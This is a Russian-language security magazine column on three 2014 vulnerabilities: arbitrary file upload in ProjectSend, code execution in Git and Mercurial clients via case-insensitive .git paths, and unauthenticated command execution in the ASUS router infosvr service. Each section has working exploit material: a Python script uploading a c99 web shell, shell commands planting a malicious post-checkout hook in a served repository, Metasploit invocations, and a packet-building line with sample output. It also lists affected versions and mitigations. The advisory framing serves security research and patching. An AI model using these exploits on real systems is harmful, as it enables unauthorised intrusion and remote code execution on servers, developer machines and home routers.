За новогод­ние праз­дни­ки некото­рые иссле­дова­тели порадо­вали нас доволь­но инте­рес­ными уяз­вимос­тями. Одну из них мож­но при­менить про­тив раз­работ­чиков, исполь­зующих Git. Дру­гая же поз­воля­ет с лег­костью получить дос­туп к рас­простра­нен­ной модели роуте­ров — дос­таточ­но лишь попасть в локаль­ную сеть, соз­данную таким девай­сом.
 

Загрузка произвольных файлов в ProjectSend

  • CVSSv2: 7.5 (Av:R/Ac:L/A:N/C:P/I:P/A:P)
  • Да­та релиза: 2 декаб­ря 2014 года
  • Ав­тор: Fady Mohammed Osman, Brendan Coles
  • CVE: 2014-9567

Как всег­да, нач­нем с прос­той уяз­вимос­ти. Про­ект ProjectSend слу­жит для быс­тро­го обме­на фай­лами меж­ду кол­легами, друзь­ями и прос­то дру­гими поль­зовате­лями сети. Но мало того, что файл process-upload.php поз­воля­ет заг­ружать фай­лы неав­торизо­ван­ным поль­зовате­лям, так еще и отсутс­тву­ет про­вер­ка на фор­мат/рас­ширение PHP-скрип­тов, что поз­воля­ет нам с лег­костью заг­рузить web-шелл и выпол­нить про­изволь­ный код от име­ни поль­зовате­ля, под которым запущен web-сер­вер.

 

EXPLOIT

Экс­плойт, как и уяз­вимость, доволь­но прост. Берем популяр­ный шелл c99, выбира­ем имя, под каким он будет хра­нить­ся, и отправ­ляем в виде POST-зап­роса на сер­вер с уяз­вимым ПО:

url = sys.argv[1] + "/" + 'process-upload.php' + '?name=' + sys.argv[2]
print "Sending Url " + url
files = {'file': open(sys.argv[2], 'rb')}
r = requests.post(url, files=files)
print r.text

Для вер­сий от r221 файл по умол­чанию заг­ружа­ется в upload/files/, а для более ста­рых это будет upload/temp/.

Ес­ли у тебя нет под рукой c99 или любого дру­гого шел­ла (которые ты с лег­костью можешь най­ти на фо­руме вай­тхе­тов), то вос­поль­зуйся Metasploit-модулем:

msf > use exploit/unix/webapp/projectsend_upload_exec
 

TARGETS

  • ProjectSend <= r561.
 

SOLUTION

На момент написа­ния статьи о пат­че не было извес­тно.

 

Выполнение произвольного кода в клиентах для Git/Mercurial

  • CVSSv2: N/A
  • Да­та релиза: 20 декаб­ря 2014 года
  • Ав­тор: Tim Pettersen, jhart
  • CVE: 2014-9390

О Git и Mercurial мы уже писали не раз на стра­ницах жур­нала, поэто­му перей­дем сра­зу к уяз­вимос­тям. Для начала вспом­ним базовые вещи. Про­ект под Git или Mercurial — это все­го лишь дирек­тория. Сам репози­торий — это прос­то дирек­тория с осо­бен­ным име­нем (.git для Git и .hg для Mercurial), содер­жащая фай­лы с нас­трой­ками и метадан­ные для соз­дания репози­тория. Все, что находит­ся вне это­го раз­дела, лишь гру­да фай­лов и папок, которые час­то называ­ют рабочим катало­гом. Она записа­на на диск и осно­вана на ука­зан­ных ранее метадан­ных. Поэто­му, если у тебя есть Git-про­ект с име­нем Test, то Test/.git — это репози­торий, а все, что вне его, — это рабочая копия фай­лов, которая хра­нит­ся в Git-про­екте в дан­ный момент. То же самое отно­сит­ся и к Mercurial.

Ни­же пред­став­лен при­мер прос­того Git-репози­тория, но без закоми­чен­ных фай­лов. Нес­мотря на то что репози­торий пус­той, у него все рав­но име­ется некото­рое количес­тво метадан­ных и фай­лов с нас­трой­ками.

$ git init foo
$ tree -a foo
foo
└── .git
├── branches
├── config
├── description
├── HEAD
├── hooks
│ ├── applypatch-msg.sample
│ ├── commit-msg.sample
│ ├── post-update.sample
│ ├── pre-applypatch.sample
│ ├── pre-commit.sample
│ ├── prepare-commit-msg.sample
│ ├── pre-rebase.sample
│ └── update.sample
├── info
│ └── exclude
├── objects
│ ├── info
│ └── pack
└── refs
├── heads
└── tags

Те­перь добавим один файл test.txt и пос­мотрим, как изме­нит­ся содер­жимое этой дирек­тории.

$ cd foo
$ date > test.txt && git add test.txt && git commit -m "Add test.txt" -a
...
$ tree -a .
.
├── .git
│ ├── branches
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
│ │ ├── commit-msg.sample
│ │ ├── post-update.sample
│ │ ├── pre-applypatch.sample
│ │ ├── pre-commit.sample
│ │ ├── prepare-commit-msg.sample
│ │ ├── pre-rebase.sample
│ │ └── update.sample
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ │ ├── HEAD
│ │ └── refs
│ │ └── heads
│ │ └── master
│ ├── objects
│ │ ├── 1c
│ │ │ └── 8fe13acf2178ea5130480625eef83a59497cb0
│ │ ├── 4b
│ │ │ └── 825dc642cb6eb9a060e54bf8d69288fbee4904
│ │ ├── e5
│ │ │ └── 58a44cf7fca31e7ae5f15e370e9a35bd1620f7
│ │ ├── fb
│ │ │ └── 19d8e1e5db83b4b11bbd7ed91e1120980a38e0
│ │ ├── info
│ │ └── pack
│ └── refs
│ ├── heads
│ │ └── master
│ └── tags
└── test.txt

Ана­логич­но для Mercurial:

$ hg init blah
$ tree -a blah
blah
└── .hg
├── 00changelog.i
├── requires
└── store
...
$ cd blah
$ date > test.txt && hg add test.txt && hg commit -m "Add test.txt"
$ hg log
...
$ tree -a .
.
├── .hg
│ ├── 00changelog.i
│ ├── cache
│ │ └── branch2-served
│ ├── dirstate
│ ├── last-message.txt
│ ├── requires
│ ├── store
│ │ ├── 00changelog.i
│ │ ├── 00manifest.i
│ │ ├── data
│ │ │ └── test.txt.i
│ │ ├── fncache
│ │ ├── phaseroots
│ │ ├── undo
│ │ └── undo.phaseroots
│ ├── undo.bookmarks
│ ├── undo.branch
│ ├── undo.desc
│ └── undo.dirstate
└── test.txt

Ди­рек­тории (.git и .hg) соз­дают­ся кли­ентом при ини­циали­зации соз­данно­го или кло­ниро­ван­ного про­екта. Содер­жимое же может быть изме­нено поль­зовате­лем, к при­меру нас­трой­ки репози­тория (.git/config и .hg/hgrc), которые обыч­но изме­няют­ся прог­раммой‑кли­ентом для Git и Mercurial в ходе нор­маль­ных опе­раций над про­ектом. То есть в .hg и .git находит­ся все нуж­ное для работы с репози­тори­ем, а все, что вне их, счи­тает­ся частью рабочей дирек­тории, а имен­но содер­жимое про­екта (test.txt в нашем упро­щен­ном при­мере). Более под­робно о работе с прог­рамма­ми Git и Mercurial мож­но про­читать в соот­ветс­тву­ющей докумен­тации:

В ходе обыч­ных опе­раций, таких как кло­ниро­вание или обновле­ние, рабочий каталог обновля­ется до текуще­го сос­тояния репози­тория. Если мы исполь­зуем ука­зан­ные выше при­меры и кло­ниру­ем их, то локаль­ный клон репози­тория будет обновлен до текуще­го сос­тояния test.txt.

Здесь и начина­ются проб­лемы. И в Git-, и в Mercurial-кли­ентах содер­жится код, который гаран­тиру­ет защиту .git или .hg от неав­торизо­ван­ных изме­нений со сто­роны не Git-кли­ента — нап­ример, Git-сер­вера. И это понят­но, ведь если они не будут защище­ны, то Git-сер­вер смо­жет манипу­лиро­вать содер­жимым раз­личных важ­ных фай­лов внут­ри репози­тория, внед­рить вре­донос­ный код, что в резуль­тате при­ведет к выпол­нению его на кли­енте или в про­дак­шне.

К сожале­нию, ока­залось, что не все важ­ные дирек­тории пра­виль­но обра­баты­вают­ся. В час­тнос­ти:

  1. В опе­раци­онных сис­темах с нечувс­тви­тель­ными к регис­тру фай­ловыми сис­темами (таких как Windows и OS X) Git-кли­енты мож­но зас­тавить получить и записать фай­лы с нас­трой­ками в .git и пос­ле это­го выпол­нить про­изволь­ный код. Для это­го дос­таточ­но убе­дить поль­зовате­ля выпол­нить опре­делен­ные дей­ствия с репози­тори­ем (clone, checkout и так далее), который находит­ся под управле­нием ата­кующе­го.
  2. Та­кая же проб­лема сущес­тву­ет и в Mercurial-кли­ентах в ОС с HFS+ фай­ловой сис­темой (OS X и Window), толь­ко она про­исхо­дит из‑за игно­риро­вания опре­делен­ных Unicode-кодов в име­нах фай­лов.
  3. По­мимо ука­зан­ных выше, Mercurial-кли­ент для Windows име­ет еще одну поч­ти похожую уяз­вимость, но толь­ко там, где сущес­тву­ют корот­кие име­на фай­лов в сти­ле MS-DOS или дос­тупен фор­мат 8.3.

Как экс­плу­ати­ровать пос­ледние две уяз­вимос­ти в Mercurial, мож­но догадать­ся из их пат­чей:

 

EXPLOIT

Экс­плу­ата­ция доволь­но прос­та. Экс­плойт для пер­вой уяз­вимос­ти мож­но поп­робовать у себя локаль­но штат­ными средс­тва­ми для боль­шинс­тва ОС:

cd /tmp
REPO=`mktemp -d`
git init $REPO
cd $REPO
mkdir -p .giT/hooks
echo -ne "#\!/bin/sh\r\nid > /tmp/id" > .giT/hooks/post-checkout
chmod 755 .giT/hooks/post-checkout
git add .
git commit -m "test" -a
git update-server-info
ruby -run -e httpd -- -p 8080 $REPO/.git

Те­перь все, кто попыта­ется кло­ниро­вать про­ект по нашему адре­су через уяз­вимый Git-кли­ент, соз­дадут у себя файл /tmp/id с тек­стом выпол­нения коман­ды id:

git clone http://localhost:8080/

Для Mercurial экс­плойт дела­ется ана­логич­ным обра­зом.

Есть готовый PoC для пер­вого слу­чая от зна­мени­той Рут­ков­ской (@rootkovska), который запус­кает каль­кулятор и в OS X, и в Windows. Для его про­вер­ки дос­таточ­но кло­ниро­вать про­ект к себе в сис­тему:

git clone git://git.qubes-os.org / joanna/git-calc-launcher-cve-2014-9390.git
Запуск эксплойта для уязвимости в Windows от @rootkovska
За­пуск экс­плой­та для уяз­вимос­ти в Windows от @rootkovska
Запуск эксплойта для уязвимости в OS X от @rootkovska
За­пуск экс­плой­та для уяз­вимос­ти в OS X от @rootkovska

Так­же сущес­тву­ет Metasploit-модуль, который экс­плу­ати­рует все три ука­зан­ные уяз­вимос­ти. На момент написа­ния статьи его не было в текущей базе MSF, поэто­му, воз­можно, его при­дет­ся вруч­ную добавить к себе в базу, взяв скрипт из GitHub:

msf > use exploit/multi/http/git_client_command_exec
msf exploit(git_client_command_exec) > exploit
Использование metasploit-модуля для эксплуатации уязвимости в Git/Mercurial-клиентах
Ис­поль­зование metasploit-модуля для экс­плу­ата­ции уяз­вимос­ти в Git/Mercurial-кли­ентах

Пос­ле успешно­го кло­ниро­вания можем запус­тить наш любимый каль­кулятор:

msf exploit(git_client_command_exec) > sessions -c calc

Бы­ла новость, что GitHub ищет такие вре­донос­ные репози­тории и уда­ляет. Так что в слу­чае, если ты работа­ешь толь­ко с GitHub, вро­де как можешь быть спо­коен, но кли­ент все же луч­ше обно­ви :).

 

TARGETS

  • Git < 1.8.5.6;
  • Git < 1.9.5;
  • Git < 2.0.5;
  • Git < 2.1.4;
  • Git < 2.2.1;
  • Mercurial < 3.2.3.
 

SOLUTION

Есть исправ­ление от про­изво­дите­ля. Помимо обновле­ния желатель­но вклю­чить у себя сле­дующие опции:

  • receive.fsckObjects;
  • core.protectHFS;
  • core.protectNTFS.

Вклю­чить их мож­но пос­редс­твом сле­дующих команд:

git config --global --bool receive.fsckObjects true
git config --global --bool core.protectHFS true
git config --global --bool core.protectNTFS true

Или локаль­но:

for repo in `ls -d */`; do echo $repo; cd $repo; git config --bool receive.fsckObjects true; git config --bool core.protectHFS true; git config --bool core.protectNTFS true; cd ..; done
 

Выполнение произвольных команд в роутерах от ASUS

  • CVSSv2: N/A
  • Да­та релиза: 4 янва­ря 2015 года
  • Ав­тор: jduck, dnlongen, RMerl
  • CVE: 2014-9583
Модель роутера RT-N66U
Мо­дель роуте­ра RT-N66U

В раз­личных моделях роуте­ров от ASUS уже не впер­вые находят уяз­вимос­ти. На этот раз ошиб­ка была най­дена в сер­висе с име­нем infosvr, который слу­шает широко­веща­тель­ный UDP-порт 9999 на локаль­ном или WLAN-интерфей­се. Для луч­шего понима­ния обра­тим­ся к откры­той реали­зации про­шив­ки под такие устрой­ства от поль­зовате­ля RMerl, пред­став­ляющей собой более рас­ширен­ную вер­сию кода от ASUS:

177 char *processPacket(int sockfd, char *pdubuf)
178 {
...
202 phdr = (IBOX_COMM_PKT_HDR *)pdubuf;
...
207 if (phdr->ServiceID==NET_SERVICE_ID_IBOX_INFO &&
208 phdr->PacketType==NET_PACKET_TYPE_CMD)
209 {
...

Фун­кция processPacket вызыва­ется пос­ле получе­ния пакета INFO_PDU_LENGTH, сос­тояще­го из 512 байт. Уяз­вимый код находит­ся по сле­дующе­му пути: main->processReq->processPacket. Далее сер­вис рас­кла­дыва­ет пакет на струк­туру и про­веря­ет, содер­жат ли поля ServiceID и PacketType ожи­даемые зна­чения.

Сле­дующий блок кода вклю­чает код, из‑за которо­го дан­ная уяз­вимость воз­можна:

222 if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)
223 {
224 phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
225
226 // Проверка MAC-адреса
227 if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
228 {
229 _dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n",
230 (unsigned char)phdr_ex->MacAddress[0],
231 (unsigned char)phdr_ex->MacAddress[1],
232 (unsigned char)phdr_ex->MacAddress[2],
233 (unsigned char)phdr_ex->MacAddress[3],
234 (unsigned char)phdr_ex->MacAddress[4],
235 (unsigned char)phdr_ex->MacAddress[5]
236 );
237 return NULL;
238 }
239
240 // Проверка пароля
241 //if (strcmp(phdr_ex->Password, "admin")!=0)
242 //{
243 // phdr_res->OpCode = phdr->OpCode | NET_RES_ERR_PASSWORD;
244 // _dprintf("Password Error %s\n", phdr_ex->Password);
245 // return NULL;
246 //}
247 phdr_res->Info = phdr_ex->Info;
248 memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6);
249 }

Он начина­ется с исклю­чения пары зна­чений перемен­ной OpCode, которые пред­положи­тель­но не тре­буют аутен­тифика­ции. Затем вызыва­ется фун­кция memcpy() с подоз­ритель­ной про­вер­кой на воз­врат зна­чения 0. Это очень похоже на то, что автор собирал­ся исполь­зовать ее вмес­то memcmp. Хотя, чес­тно говоря, исполь­зование MAC-адре­са устрой­ства как метод аутен­тифика­ции сов­сем не дос­таточ­но.

Сле­дующий блок заком­менти­рован, но мы видим, что автор хотел добавить про­вер­ку паролем, прав­да с доволь­но прос­тым паролем по умол­чанию — admin.

Сле­дуем даль­ше. Про­веря­ем получен­ные OpCode:

251 switch(phdr->OpCode)
252 {
...
428 case NET_CMD_ID_MANU_CMD:
429 {
430 #define MAXSYSCMD 256
431 char cmdstr[MAXSYSCMD];
432 PKT_SYSCMD *syscmd;
...
440 syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));
...
443 if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;
444 syscmd->cmd[syscmd->len]=0;
445 syscmd->len=strlen(syscmd->cmd);
446 fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd);
447 #if 0
...
512 #endif
513 {
514 sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
515 system(cmdstr);

Ес­ли ата­кующий смо­жет ука­зать зна­чение NET_CMD_ID_MANU_CMD, то пре­дыду­щий блок обра­бота­ет пакет и пре­обра­зует в струк­туру PKT_SYSCMD, где все час­ти syscmd будут под пол­ным кон­тро­лем ата­кующе­го. Вследс­твие чего мы можем выпол­нить про­изволь­ный код, резуль­тат которо­го запишет­ся во вре­мен­ный файл, про­чита­ется и отпра­вит­ся обратно по адре­су ини­циали­зиру­юще­го пакета.

 

EXPLOIT

На GitHub выложен один Python-скрипт под дан­ную уяз­вимость, но, судя по струк­туре, автор будет попол­нять этот репози­торий.

От­прав­ляем пакет со сле­дующим содер­жимым:

ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
PacketType [byte] ; NET_PACKET_TYPE_CMD
OpCode [word] ; NET_CMD_ID_MANU_CMD
Info [dword] ; Комментарий: "Or Transaction ID"
MacAddress [byte[6]] ; Двойная неправильная проверка с помощью memcpy вместо memcmp
Password [byte[32]] ; Не проверяется
Length [word] ; Длина
Command [byte[420]] ; 420 байт в структуре, 256 19 не используемые в коде = 237 доступных

В резуль­тате получа­ем сле­дующий зап­рос:

packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')

Об­рабаты­ваем пакет...

ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
PacketType [byte] ; NET_PACKET_TYPE_RES
OpCode [word] ; NET_CMD_ID_MANU_CMD
Info [dword] ; Аналогично с отправленным
MacAddress [byte[6]] ; Заполнено нами
Length [word] ; Длина
Result [byte[420]] ; Actually returns that amount

...с помощью такого кода:

while True:
data, addr = sock.recvfrom(512)
if len(data) == 512 and data[1] == 22:
break
length = struct.unpack('<H', data[14:16])[0]
s = slice(16, 16+length)
sys.stdout.buffer.write(data[s])

По­мимо Python-вер­сии, сущес­тву­ет ори­гиналь­ный экс­плойт на С, который находит­ся в том же репози­тории. При­мер его работы:

$ ./asus-cmd "nvram show | grep -E '(firmver|buildno|extendno)'"
[*] sent command: nvram show | grep -E '(firmver|buildno|extendno)'
[!] received 512 bytes from 10.0.0.2:37625
0c 15 0033 54ab7bc4 41:41:41:41:41:41
0031 nvram show | grep -E '(firmver|buildno|extendno)'
[!] received 512 bytes from 10.0.0.1:9999
0c 16 0033 54ab7bc4 xx:xx:xx:xx:xx:xx
004e buildno=376
extendno_org=2524-g0013f52
extendno=2524-g0013f52
firmver=3.0.0.4
 

TARGETS

Про­тес­тирова­но на устрой­ствах:

  • RT-N66U 3.0.0.4.376_1071-g8696125;
  • RT-AC87U 3.0.0.4.378_3754;
  • RT-N56U 3.0.0.4.374_5656.
 

SOLUTION

Есть исправ­ление от про­изво­дите­ля. Так­же мож­но вос­поль­зовать­ся сле­дующим пат­чем. По умол­чанию сто­ковая про­шив­ка от ASUS не поз­воля­ет запус­кать про­изволь­ные скрип­ты при заг­рузке устрой­ства, но при этом поз­воля­ет запус­кать скрип­ты в любое вре­мя при мон­тирова­нии USB. Логиним­ся на устрой­стве через Telnet или SSH:

nvram set script_usbmount="/jffs/scriptname"
nvram commit

И соз­даем файл со сле­дующим содер­жимым:

#!/bin/sh
iptables -I INPUT -p udp --dport 9999 -j DROP

Дру­гой путь — прос­то завер­шить уяз­вимый про­цесс.

#!/bin/sh
for pid in `ps -w | grep infosvr | grep -v grep | awk '{print $1}'`
do
echo "killing $pid"
kill $pid
done

Сох­раня­ем файл с име­нем, ука­зан­ным в перемен­ной script_usbmount, и исполня­ем файл (или прос­то перезаг­ружа­ем роутер). Ну и не забыва­ем, что триг­гером слу­жит мон­тирова­ние USB-устрой­ства, поэто­му, если такого нет, совету­ем при­обрести :).

Оставить мнение